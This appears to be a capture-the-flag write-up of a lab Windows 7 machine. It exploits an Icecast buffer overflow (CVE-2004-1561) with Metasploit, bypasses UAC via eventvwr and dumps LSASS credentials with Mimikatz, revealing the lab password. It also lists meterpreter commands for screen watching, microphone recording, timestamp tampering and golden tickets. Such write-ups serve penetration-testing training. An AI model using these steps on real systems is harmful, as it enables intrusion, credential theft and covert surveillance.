The machine we’ll be attacking is at 10.10.55.173. Since it’s a Windows box, we know that it won’t respond to ping by default.
As usual, we’ll start out with an nmap scan:
sudo nmap -v -oA ice -Pn -A -T4 -sS -script vuln \
-p- 10.10.55.173
Which gives us:
# Nmap 7.92 scan initiated Tue Dec 7 20:55:44 2021 as: nmap -v -oA ice -Pn -A -T4 -sS -script vuln -p- 10.10.55.173

# Nmap done at Tue Dec 7 21:31:59 2021 -- 1 IP address (1 host up) scanned in 2174.84 seconds
(An interesting effect of the -T4 flag, which uses a slightly more aggressive timing timing profile, is that port discovery seems to happen out-of-order…)
FLAG 1: What port is MSRDP open on? - 3389
FLAG 2: What service is running on port 8000? - Icecast streaming media server
FLAG 3: What is the hostname of the machine? - DARK-PC
Gain Access
The next few flags are about finding a particular vulnerability for Icecast on https://cvedetails.com. There’s actually a couple of different vulnerabilities that match the flag descriptions, but after a little trial-and-error we can find the right ones.
FLAG 4: What is a vulnerability impacting Icecast with a CVSS score of 7.5? - Execute Code Overflow
FLAG 5: What is the CVE number for the vulnerability in Flag 4? - CVE-2004-1561
FLAG 6: What is the Metasploit module for exploiting this vulnerability? - exploit/windows/http/icecast_header
FLAG 7: What option must be set to use this module? - RHOSTS
There’s not too much to this module - set RHOSTS and LHOST, run, get shell.
Escalate
FLAG 8: What shell does Metasploit provide us with? - meterpreter
We can find the current user using the getuid command.
FLAG 9: What user is running the Icecast process? - Dark-PC/Dark
The sysinfo command will give us the OS version and architecture.
FLAG 10: What is the build of this Windows system? - Windows 7 (6.1 Build 7601, Service Pack 1)
FLAG 11: What is the system architecture? - x64
We’ll now use run post/multi/recon/local_exploit_suggester to find potential paths to elevating privileges.
Unfortunately, for me this only returns one result - exploit/windows/local/ms10_092_schelevator - which is not accepted as the 12th flag. The flag hint states that the exploit will contain eventvwr. A quick search through Metasploit shows that the only exploit including this string is exploit/windows/local/bypassuac_eventvwr, which is accepted.
FLAG 12: What is the potential exploit run post/multi/recon/local_exploit_suggester returns? - exploit/windows/local/bypassuac_eventvwr
We can background meterpreter with Ctrl+Z and then switch to this exploit using use exploit/windows/local/bypassuac_eventvwr. This exploit runs through an existing session, so we need to set this using set SESSION 2. (I’m on session 2 because I previously backed out an unsuccessfully tried to pop a 64-bit meterpreter shell - I guess Icecast is running as a 32-bit process.)
FLAG 13: What option needs to be set to ensure that our listener IP address is correct? - LHOST
I also tweaked LPORT, as I’m nervous about killing the existing session (which is running on the default port, 4444).
Using run quickly pops a new shell.
FLAG 14: What permission allows taking ownership of files? - SeTakeOwnershipPrivilege
Looting
In order to harvest credentials from LSASS we’ll need to migrate meterpreter to a process with the same permissions (NT AUTHORITY/SYSTEM) and architecture as LSASS. The print spooler service is a good choice, as it runs with elevated permissions, has the same architecture as the system itself, and will restart itself automatically.
FLAG 15: What is the name of the print spooler service? - spoolsv.exe
migrate -N spoolsv.exe
FLAG 16: What user is the migrated meterpreter process running as after migration? - NT AUTHORITY/SYSTEM
We’re going to loot LSASS now using Mimikatz.
load kiwi
FLAG 17: What command retrieves all credentials from LSASS? - creds_all
It turns out that Windows loads unhashed passwords into LSASS for any users with scheduled jobs!
FLAG 18: What is Dark’s password? - Password01!
Past-Exploitation
FLAG 19: What meterpreter command allows us to dump all of the password hashes stored on the system? - hashdump
Hashes dumped using hashdump can be cracked offline using Hydra or John the Ripper.
FLAG 20: What meterpreter command allows us to watch the remote user’s desktop in real time? - screenshare
FLAG 21: What meterpreter command allows us to record using the system’s microphone? - record_mic
FLAG 22: What meterpreter command can modify timestamps of files on the system? - timestomp
FLAG 23: What meterpreter/kiwi command allows for the creation of a golden ticket? - golden_ticket_create
